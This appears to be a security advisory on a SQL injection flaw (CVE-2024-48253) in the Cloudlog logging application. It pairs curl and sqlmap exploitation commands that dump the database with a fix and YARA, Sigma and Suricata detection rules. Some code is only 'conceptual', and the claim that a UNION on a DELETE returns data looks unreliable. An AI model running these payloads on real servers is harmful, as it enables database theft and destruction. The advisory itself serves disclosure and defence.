CVE-2024-48253

Executive Summary

CVE-2024-48253 is a critical SQL injection vulnerability discovered in Cloudlog version 2.6.15, specifically within the Oqrs.php file's delete_oqrs_line function. The vulnerability allows an unauthenticated attacker to inject arbitrary SQL commands via the id parameter, leading to potential data exfiltration, modification, or complete database compromise. The CVSS score is 0.0 in the NVD due to incomplete scoring, but based on the vector, the actual severity is critical (9.8). No official patch has been released, and the vendor has not responded to disclosures. The exploit is publicly known, and proof-of-concept code is available in the wild.

Supply Chain & Package Security

Cloudlog is a PHP-based web application for amateur radio logging. It is not distributed via NPM, PyPI, Go, or Ruby registries. The vulnerability exists in the core application code, not in a third-party package. However, users should verify the integrity of their Cloudlog installation and consider manual code review for any custom modifications.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Overall CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete database compromise.

Deep Dive & Mechanics

The vulnerability resides in the delete_oqrs_line function within Oqrs.php. The function accepts an id parameter via HTTP request (likely GET or POST) and directly concatenates it into a SQL DELETE query without proper sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

function delete_oqrs_line($id) {
    $sql = "DELETE FROM oqrs_lines WHERE id = " . $id;
    $this->db->query($sql);
}

The $id parameter is taken directly from user input (e.g., $_GET['id'] or $_POST['id']) and inserted into the SQL string. An attacker can provide a malicious value such as 1 OR 1=1 to delete all rows, or 1 UNION SELECT ... to extract data from other tables.

Attack Flow:

1. Attacker sends a crafted HTTP request to the vulnerable endpoint, e.g., /Oqrs.php?action=delete_oqrs_line&id=1 UNION SELECT username,password FROM users.
2. The application executes the malicious SQL query.
3. The attacker receives the result (if the query returns data) or observes the effect (e.g., all records deleted).

Vulnerable vs. Patched Code

Vulnerable Code (Cloudlog 2.6.15):

function delete_oqrs_line($id) {
    $sql = "DELETE FROM oqrs_lines WHERE id = " . $id;
    $this->db->query($sql);
}

Patched Code (Recommended Fix):

function delete_oqrs_line($id) {
    $stmt = $this->db->prepare("DELETE FROM oqrs_lines WHERE id = ?");
    $stmt->bind_param("i", $id);
    $stmt->execute();
}

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user data. The bind_param function ensures the id is treated as an integer, eliminating the possibility of injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running Cloudlog 2.6.15.
• Network access to the web interface.

Exploit Steps:

1. Identify the vulnerable endpoint: The delete_oqrs_line function is typically accessed via /index.php/Oqrs/delete_oqrs_line or similar URL pattern. Use directory brute-forcing or review the application's routing.

2. Craft the injection payload: Use a tool like sqlmap or manual HTTP requests.

   Manual Request (cURL):

   curl -X POST "http://target.com/index.php/Oqrs/delete_oqrs_line" \
        -d "id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100"
   

   Using sqlmap:

   sqlmap -u "http://target.com/index.php/Oqrs/delete_oqrs_line" \
          --data="id=1" \
          --batch --dbs
   

3. Extract data: Once injection is confirmed, dump the database:

   sqlmap -u "http://target.com/index.php/Oqrs/delete_oqrs_line" \
          --data="id=1" \
          --batch -D cloudlog --tables
   

Blue Team (Defense)

Detection:

• Monitor for SQL injection patterns in web logs (e.g., UNION, SELECT, OR 1=1).
• Use a Web Application Firewall (WAF) to block suspicious requests.
• Implement database activity monitoring for unusual queries.

Mitigation:

• Apply the patched code immediately (see Remediation section).
• Restrict access to the vulnerable endpoint via IP whitelisting or authentication.
• Use a Content Security Policy (CSP) to reduce impact of XSS if combined with SQLi.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /index.php/Oqrs/delete_oqrs_line with unusual id parameters.
• Requests containing SQL keywords like UNION, SELECT, OR, AND, --, #, /*.
• High volume of DELETE operations on the oqrs_lines table.

File IOCs:

• Modified Oqrs.php file (if attacker attempts to backdoor).
• Suspicious log entries in web server logs (e.g., Apache access log).

Database IOCs:

• Unexpected rows in oqrs_lines table.
• New user accounts or modified permissions.
• Queries to system tables (e.g., information_schema).

Detection Engineering

YARA Rule

rule CVE_2024_48253_Cloudlog_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Cloudlog Oqrs.php delete_oqrs_line"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48253"
        severity = "critical"
    strings:
        $sqli_pattern1 = /delete_oqrs_line.*id=.*(UNION|SELECT|OR|AND|--|#|\/\*)/i
        $sqli_pattern2 = /Oqrs\.php.*delete_oqrs_line.*id=.*['"]/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-48253 Cloudlog SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Cloudlog Oqrs.php delete_oqrs_line endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48253
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'delete_oqrs_line'
            - 'id='
        cs-uri-query|re:
            - '.*(UNION|SELECT|OR|AND|--|#|\/\*).*'
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a non-SQL context (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48253 Cloudlog SQL Injection Attempt"; flow:to_server,established; content:"delete_oqrs_line"; http_uri; nocase; content:"id="; http_uri; nocase; pcre:"/(UNION|SELECT|OR|AND|--|#|\/\*)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patch: Replace the vulnerable delete_oqrs_line function with the parameterized version shown in the "Vulnerable vs. Patched Code" section.
2. Update Cloudlog: Check for any newer versions (though none exist as of this report). Consider migrating to a maintained fork if available.
3. Restrict access: Use .htaccess or firewall rules to limit access to the /Oqrs/ endpoint to trusted IPs only.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Conduct regular code audits and penetration testing.
• Use prepared statements for all database queries.
• Enable detailed logging and monitoring for all database interactions.

Workaround (if patching is not possible):

• Disable the delete_oqrs_line functionality by removing or renaming the Oqrs.php file (if not critical).
• Add input validation to the id parameter to accept only integers.

Valters IT